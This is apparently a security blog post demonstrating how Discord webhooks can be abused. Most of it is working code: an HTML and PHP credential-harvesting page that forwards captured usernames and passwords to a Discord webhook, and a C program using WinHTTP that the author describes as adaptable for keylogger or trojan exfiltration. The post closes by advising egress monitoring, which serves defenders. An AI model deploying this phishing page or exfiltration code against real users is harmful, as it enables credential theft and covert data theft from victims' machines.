Harvesting and exfiltrating data with Discord webhooks

Introduction

The rich functionality available in Discord unfortunately can be abused by malicious actors. This brief blog post provides some simple but practical examples of how webhooks can be easily misused and helps demonstrate why it is one of the most commonly abused features of the platform.

Discord

Discord is an instant messaging and VoIP social platform. Users have the ability to communicate with voice calls, video calls, text messaging, media and files in private chats or as part of communities called servers which is a collection of persistent chat rooms and voice channels.

Webhooks

Discord’s built in webhooks function is an easy way to get automated messages and data updates sent to a text channel in your server. In the following example I have set up a free server and created a webhook to play with.

Example 1 : Harvesting sensitive information

On Kali Linux I created a very simple logon credential harvesting page using HTML and PHP code which sends the input to Discord using webhooks.

login.html
<!DOCTYPE html>
<html>
<head>
    <title>Send Info to Discord</title>
</head>
<body>
    <form action="send_to_discord.php" method="post">
        <label for="field1">Username:</label>
        <input type="text" name="field1" id="field1" required><br><br>
        
        <label for="field2">Password:</label>
        <input type="text" name="field2" id="field2" required><br><br>
        
        <input type="submit" value="Send">
    </form>
</body>
</html>
send_to_discord.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['field1']) && isset($_POST['field2'])) {
    // Trim whitespace
    $field1 = trim($_POST['field1']);
    $field2 = trim($_POST['field2']);

    // Validate the input
    if (empty($field1) || empty($field2) || strlen($field1) > 255 || strlen($field2) > 255) {
        echo "Invalid input! Make sure fields are not empty and do not exceed 255 characters.";
        exit;
    }

    // Replace this with your Discord webhook URL
    $webhook_url = "YOUR_WEBHOOK_HERE";

    // Message content
    $content = $field1 . ":" . $field2;

    // JSON payload
    $json_data = json_encode([
        "content" => $content
    ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);

    // cURL headers
    $headers = [
        "Content-Type: application/json"
    ];

    // cURL session
    $ch = curl_init($webhook_url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
    $result = curl_exec($ch);

    if (curl_errno($ch)) {
        echo 'cURL Error: ' . curl_error($ch);
    } else {
        // Check HTTP status code
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($httpCode != 204) {
            echo "HTTP status code: $httpCode\n";
            echo "Response: $result";
        } else {
            echo "Message sent successfully!";
        }
    }

    curl_close($ch);
} else {
    // Invalid request
    echo "Invalid request!";
}
?>
Example 2: Exfiltrating data

On a Windows 10 development machine I created and compiled a simple C program to send text using webhooks to a Discord server. This could be adapted for exfiltrating data for a remote access trojan or simple key logger (see video below for simple keylogger I created for demonstration purposes only).

discord.c
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

#pragma comment(lib, "winhttp.lib")

#define WEBHOOK_URL L"YOUR_WEBHOOK_HERE"

int main() {
    HINTERNET hSession, hConnect, hRequest;
    WCHAR headers[] = L"Content-Type: application/json\r\n";
    char requestBody[] = "{\"content\":\"TEST DATA BEING SENT FROM C PROGRAM\"}";

    WCHAR hostName[256];
    WCHAR urlPath[256];
    URL_COMPONENTS urlComponents = { 0 };
    urlComponents.dwStructSize = sizeof(urlComponents);
    urlComponents.lpszHostName = hostName;
    urlComponents.dwHostNameLength = ARRAYSIZE(hostName);
    urlComponents.lpszUrlPath = urlPath;
    urlComponents.dwUrlPathLength = ARRAYSIZE(urlPath);
    urlComponents.nScheme = INTERNET_SCHEME_HTTPS;

    if (!WinHttpCrackUrl(WEBHOOK_URL, 0, 0, &urlComponents)) {
        printf("Error parsing URL. Code: %d\n", GetLastError());
        return 1;
    }

    hSession = WinHttpOpen(L"A User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) {
        printf("Failed to open session. Error code: %d\n", GetLastError());
        return 1;
    }

    hConnect = WinHttpConnect(hSession, hostName, INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) {
        printf("Failed to connect. Error code: %d\n", GetLastError());
        return 1;
    }

    hRequest = WinHttpOpenRequest(hConnect, L"POST", urlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    if (!hRequest) {
        printf("Failed to open request. Error code: %d\n", GetLastError());
        return 1;
    }

    BOOL bResults = WinHttpSendRequest(hRequest, headers, wcslen(headers), (LPVOID)requestBody, strlen(requestBody), strlen(requestBody), 0);
    if (!bResults) {
        printf("Failed to send request. Error code: %d\n", GetLastError());
        return 1;
    }

    bResults = WinHttpReceiveResponse(hRequest, NULL);
    if (!bResults) {
        printf("Failed to receive response. Error code: %d\n", GetLastError());
        return 1;
    }

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return 0;
}

Conclusion

Discord provides a fantastic community experience for its members. The rich functionality of its platform unfortunately can be easily and freely abused. This blog post only touches on one functionality of webhooks, however C2 servers are also able to be implemented using bots. It is important to be aware of such services and monitor egress traffic to such platforms.

Resources and references

https://socradar.io/discord-the-new-playground-for-cybercriminals/
https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks
https://github.com/Sp00p64/DiscordRAT
https://blogs.mulesoft.com/api-integration/security/how-cybercriminals-take-advantage-of-chat-apis-and-what-to-do-about-it/